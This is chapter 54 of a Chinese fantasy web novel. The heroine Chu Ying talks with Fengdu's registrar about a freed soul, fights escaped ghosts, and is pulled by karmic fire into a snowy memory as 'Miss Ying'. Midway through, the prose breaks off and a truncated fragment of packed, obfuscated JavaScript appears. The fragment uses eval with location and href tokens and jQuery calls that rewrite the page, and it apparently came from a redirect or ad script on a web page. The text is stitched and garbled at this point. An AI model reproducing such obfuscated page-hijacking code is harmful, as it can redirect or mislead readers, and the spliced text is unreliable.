54. 第五十四章

褚英将与太炎相关的记载全部看完,见主簿静默地站在一盏灯前。她幽幽地走过去,问道:“这灯怎么是空的?”


主簿道:“原本是有的,我将它放走了。”


他转头见褚英神情阴郁,讶然道:“方才还好好的,怎么突然坏了心情?那些卷册中没有你想要的?”


褚英道:“有。”她惨淡着一张脸,不再多说,趋前去看那盏灯,灯中一抹蓝色的淡光,雾一般,仿佛随时就要消散了。


“为何放它走?莫非酆都的规矩松散,行事全凭主簿的意愿。”


主簿目光久久地落在她脸上,状若无意地移开:“一位旧友的残魂,费了很大力气才找到,可她在这里并不快乐,不忍见她终日郁郁寡欢,还是放走了。这是我私下做的事,与酆都无关,原本只有我自己知道,现在告诉你了。”


褚英道:“一盏空灯,我什么都看不出来。”


主簿道:“她在人间国流浪许多年,一世做树,一世做鸟雀,可是魂魄不全,一缕残魂不受天地庇佑,几经磨难,每每过去三五载便又回到酆都。”


“旧友相见,是高兴的事。”


“她却不记得我了。”


主簿全神贯注望着灯中残存的光:“这是她在人间国的最后一世,宛州今年冬天落下第一场雪,就是她离开的时候。”


“离开之后呢?”


他看向褚英:“在外漂泊的时间够久了,她不会回到酆都,而是会重新找到自己。残魂归体,是否还记得我不重要。”


“换作是我,一定不会这么想。”褚英轻声道,“我喜我生,独丁斯时。记得分明很重要。”


————


两人前脚踏出荧惑台,白面鬼后脚便赶了过来。他愁容满面,话里话外的意思是请主簿到轮回台去。


“那些逃跑的恶鬼和守卫打得不可开交,曹大人又刚走!整个轮回台已经乱成了一锅粥!”


主簿问道:“曹大人不在?”


“出了赌坊便去寻丢失的宝贝了!连个影子也没见着!”


白面鬼说完扯过褚英:“你能打,你也去帮个手!完事儿给你论功行赏,亏不了你!”


褚英推辞:“这不好吧?我在酆都没名没份的。”


“嗐,记个名字的事,主簿比划两下就好了。你是点灯人,日后得常来酆都,没什么好犹豫的,走吧!”


赶到轮回台,白面鬼所言不虚,鬼卒同几道白光搅缠在一起,两方辱骂恫吓声不断。


“恶鬼我劝你早早就擒,等曹大人来了你们都得灰飞烟灭!”


白光立刻呛道:“呸!他姓曹的也就在你们面前逞逞威风,一千年前我是他老子!他在我这里大气都不敢喘!”


“胡言乱语!你怕是没命活到曹大人飞升九重天!”


“九重天?哈哈!凭他也想到九重天?你们曹大人早在无间地狱里迷失了,他还想到九重天?简直贻笑大方!”


众鬼卒竭力,却只能将它们困守在原地。


褚英几人分开擒拿,主簿直冲白光中最猖狂的那个。


“哼!几个黄口小儿敢来捉我!”它冷笑,白光中飞出骤雨般猛烈的冰棱,冰棱穿过几个鬼卒的身体,将他们钉死在地面。


主簿避开它直击门面的几招,扬声呵道:“荧惑台中困不住你这号人物!你到底是谁!”


白光悬在轮回台上空,业火的光芒笼罩其身。


“可笑!荧惑台早沦为他藏匿私心的工具,我是他千年前造就的孽障,终有一日,他会将他所有不敢面对的不堪都放在荧惑台一一除尽!”白光笑道:“你们——我要你们也在业火中看看自己酿出的因果!看一看吧,你们的过去!你们的未来!”


随它话音落下,轮回台中淬炼后的业火竟如潮水一般汹涌而出,满溢经过之处,出逃的恶鬼与鬼卒皆怔愣不动,无神地望着脚下灼热的火。


白光的声音低沉蛊惑:“低头看一看吧,你们曾经遗忘丢失,求而不得的,都在业火中……”


褚英的双脚被业火缠住,动弹不得。她在红光之中看见飞雪漫天,偌大一座庭院中有一少女赤足奔跑。


婢女在她身后追赶:“婴小姐!婴小姐!”


谁是婴?


少女始终以背示人,身影凄惶。雪中留下她的足迹,落着点点刺目的鲜血。


她的掌心被发簪刺破,她却牢牢握住它不肯松手。


“宛州下雪了……”


褚英听见她喃喃自语。


“婴……谁是婴……”少女脱力,跌坐在地,掌中血将脚下白雪染得殷红。


她忽然抬起苍白的脸,隔着湛蓝的天和熊熊业火看向褚英:“我等你好久,你还不来吗?”


褚英呼吸一滞,雪中那张脸赫然是自己的模样。


轮回台上白光低语:“遗落之物在呼唤你们……它曾经是谁的至宝……为何忍心叫它流落在外……”


少女衣衫单薄,仿佛雪中一束快要枯萎的花。她眼角沁出泪:“谁是婴……为何我什么都记不清了……谁是婴……”


褚英空洞的心骤然发紧,她缓缓伸出一只手去触碰业火中少女的脸庞,在接触的一霎那,火中席卷出浩荡之力,迅速包裹住褚英。


她耳畔嗡鸣,眼前花白一片,明晃刺眼的业火逐渐熄灭,在她沉重的呼吸之间,冰凉的雪落在她的眼睫,盖住她仅有的视线。


“婴小姐!”婢女的呼喊由远及近,一声一声撞进她的耳边。


褚英喉咙滚烫,嘶哑得几乎难以出声。她抬起颤抖的右手擦净双眼,可目之所即朦胧模糊。


“婴小姐!”肩上传来暖意,“这么冷的天,你怎么跑出来了!老祖宗知道又该骂你了!”


“……谁是婴?”褚英涩声问道。


婢女叹息:“这是你今日第六次问我了!你就是婴小姐!华亭褚氏的婴小姐!你自小在老祖宗身边长大,今个儿是宛州冬日落的第一场雪。你再不进屋,老祖宗就要把你关进藏书阁,再大的雪也看不着!”


肩上的暖意转到她的手腕:“哎呀!流这么多血!早知道你今日这样就该把簪子收了!”


褚英后知后觉感受到寒冷和刺痛,她低头静默半晌,眼前终于清晰。<


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15110011|162940||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


/p>


“别伤心,老祖宗会为我们做主的。现在进去好吗?再待着就要病了!”婢女拿走她沾血的发簪,将挂在臂弯的披风罩在她背上。


褚英乏力,头痛欲裂,她睁着半梦半醒的眼睛看着婢女:“你说……宛州第一场雪?”


“这话你也问了我六遍。若一会儿见到老祖宗,万不可说些死期将至的糊涂话,她本来就在气头上,听见这个可不得了。”婢女牵起自己的衣袖为她擦脸,“婴小姐,记住我说的话了吗?”


褚英脑中混沌一片:“……记住了。”


“那你重复我刚才说的。”


“这是华亭褚氏……”她嗓音沙哑,虚弱疲惫,“见到老祖宗不能再提及死期之类的话……”


婢女闻言频频点头,拥着她站起身:“这才对啦!外面那些混账都说我们婴小姐痴傻不懂人事,可每次只要我叮嘱过的话,婴小姐都能记牢,对不对?”


“我……”


“糟了!”婢女打断她的话,慌神蹲下身,去擦她脚背上早就融化开的血,“我真是该打!记得披风又忘了鞋。”


婢女四下张望,抬手便要脱下自己的鞋袜。


“不用。”褚英拦住她。


“啊?”婢女困惑抬头,只见到一张虚弱疲乏的脸。


“就这样回去。”


“可地上太凉……”


“没关系。”褚英颔首,“就这样回去吧,我很累。”


婢女还想说什么,可褚英已经迈步往前了,她只好踩着厚雪快步跟上。


褚英裹紧了身上的披风,侧过脸问她:“你叫什么?”


婢女弯着眼睛笑道:“我叫忍冬。这还是婴小姐你给我取的名字呢,你说我原来的名字难看又难念,在屋里冥思苦想好几天才想出了忍冬。”


大雪不止,落满了忍冬的发顶和肩。


褚英抬手拍了她肩上的雪,转瞬咳嗽起来。忍冬急得心中发燥,又不好拉着褚英在雪地奔跑,一边搓热自己的掌心去暖她的手,一边将她披风后的兜帽翻了上去。


出这庭院不远,忍冬引着她拐进另座僻静的小院。


院中植了几株低矮的梅花,□□不久,今日一场大雪,点墨红都让雪给埋住了。树下有两个拿着扫帚发呆的婢女,都是半大的小姑娘,远远地看见忍冬带着人走来,忙将扫帚扔在地上,一个去开房门,一个拎来只珐琅彩的手炉。


两人忙活着还压低音量问道:“路上有别人瞧见没有?”


忍冬道:“没,我机灵着呢,带婴小姐走湖边上来,一个人都没见着,撞见鬼还差不多。”


褚英被三人围在中间,推挤着进了屋。


拎手炉的托起她划破了的右手,提起嗓子眼叫道:“出去一趟怎么成这样了?忍冬你不中用啊!下次还得换我来!”说完捧着她的手放到面前:“婴小姐痛不痛呀?没事儿啊,我给你吹一吹,很快就好了……”


哄到半路,这手猛得抽了回去。


婢女愕然,怔怔地看着她:“怎、怎么了,这是……”


忍冬挤眉弄眼:“跟从前一样,回魂了!”